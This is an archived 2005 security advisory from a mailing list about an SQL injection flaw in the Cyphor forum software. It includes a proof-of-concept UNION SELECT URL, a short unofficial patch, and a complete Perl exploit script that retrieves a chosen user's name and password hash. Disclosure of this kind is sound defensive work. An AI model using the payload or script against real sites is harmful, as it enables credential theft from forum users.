Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [UNIX] Cyphor SQL Injection |
|---|---|
| Date: | 15 Nov 2005 13:10:21 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Cyphor SQL Injection ------------------------------------------------------------------------ SUMMARY <http://www.cynox.ch/cyphor/about.php> Cyphor is "a configurable Webforum, which uses PHP4's session capabilities to authenticate users, the MySQL database system to store all its data in, and Cascading Style Sheets (CSS) to configure the "Look and Feel" of the forum". An SQL injection vulnerability has been discovered in Cyphor, allowing remote attackers to execute arbitrary SQL statements. DETAILS Vulnerable Systems: * Cyphor version 0.19 Proof of concept: The following sample can be used to test your system for the mentioned vulnerability: http://vulnerable/show.php?fid=2&id=-10 union select id,null,null,null,null,nick,password,null,null,null from users where id=1 Solution: The product has been discontinued. Unofficial patch: Following the line: $message_mode = 1; Add // Script Protection By : HACKERS PAL $id=intval($id); if(!$id) { die("<br>We Dont allow Skript Kidz .. <br> By <a hre='Http://www.sqor.net'>HACKERS PAL</a>"); } // !/script Porotection By : HACKERS PAL fINISHED Exploit: #!/bin/env perl #//-----------------------------------------------------------# #// Cyphor Forum SQL Injection Exploit .. By HACKERS PAL #// Greets For Devil-00 - Abducter - Almaster #// http://WwW.SoQoR.NeT #//-----------------------------------------------------------# use LWP::Simple; print "\n###########################"; print "\n# Cyphor Forum Exploit By : HACKERS PAL #"; print "\n# Http://WwW.SoQoR.NeT #"; if(!$ARGV[0]||!$ARGV[1]) { print "\n# -- Usage: #"; print "\n# -- perl $0 [Full-Path] 1 #"; print "\n# -- Example: #"; print "\n# -- perl $0 http://www.cynox.ch/cyphor/forum/ 1#"; print "\n# Greets To Devil-00 - Abducter - almastar #"; print "\n###########################\n"; exit(0); } else { print "\n# Greets To Devil-00 - Abducter - almastar #"; print "\n###########################\n"; $web=$ARGV[0]; $id=$ARGV[1]; $url = "show.php?fid=2&id=-0%20union%20select%20id,2,3," . "4,5,nick,password,8,id,10%20from%20users%20where%20id=$id"; $site="$web/$url"; $page = get($site) || die "[-] Unable to retrieve: $!"; print "\n[+] Connected to: $ARGV[0]\n"; print "[+] User ID is : $id "; $page =~ m/(.*?)/ && print "\n[+] User Name is: $1\n"; print "\n[-] Unable to retrieve User Name\n" if(!$1); $page =~ m/(.*?)/ && print "[+] Hash of password is: $1\n"; print "[-] Unable to retrieve hash of password\n" if(!$1); } print "\n\nGreets From HACKERS PAL To you :)\nWwW.SoQoR.NeT . . . You Are Welcome\n\n"; #finished ADDITIONAL INFORMATION The information has been provided by <mailto:s2b@hotmail.com> HACKERS PAL. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [TOOL] MD4 and MD5 Collision Generators, SecuriTeam |
|---|---|
| Next by Date: | [UNIX] phpMyAdmin Multiple Vulnerabilities (Path Disclosure, Response Splitting), SecuriTeam |
| Previous by Thread: | [TOOL] MD4 and MD5 Collision Generators, SecuriTeam |
| Next by Thread: | [UNIX] phpMyAdmin Multiple Vulnerabilities (Path Disclosure, Response Splitting), SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |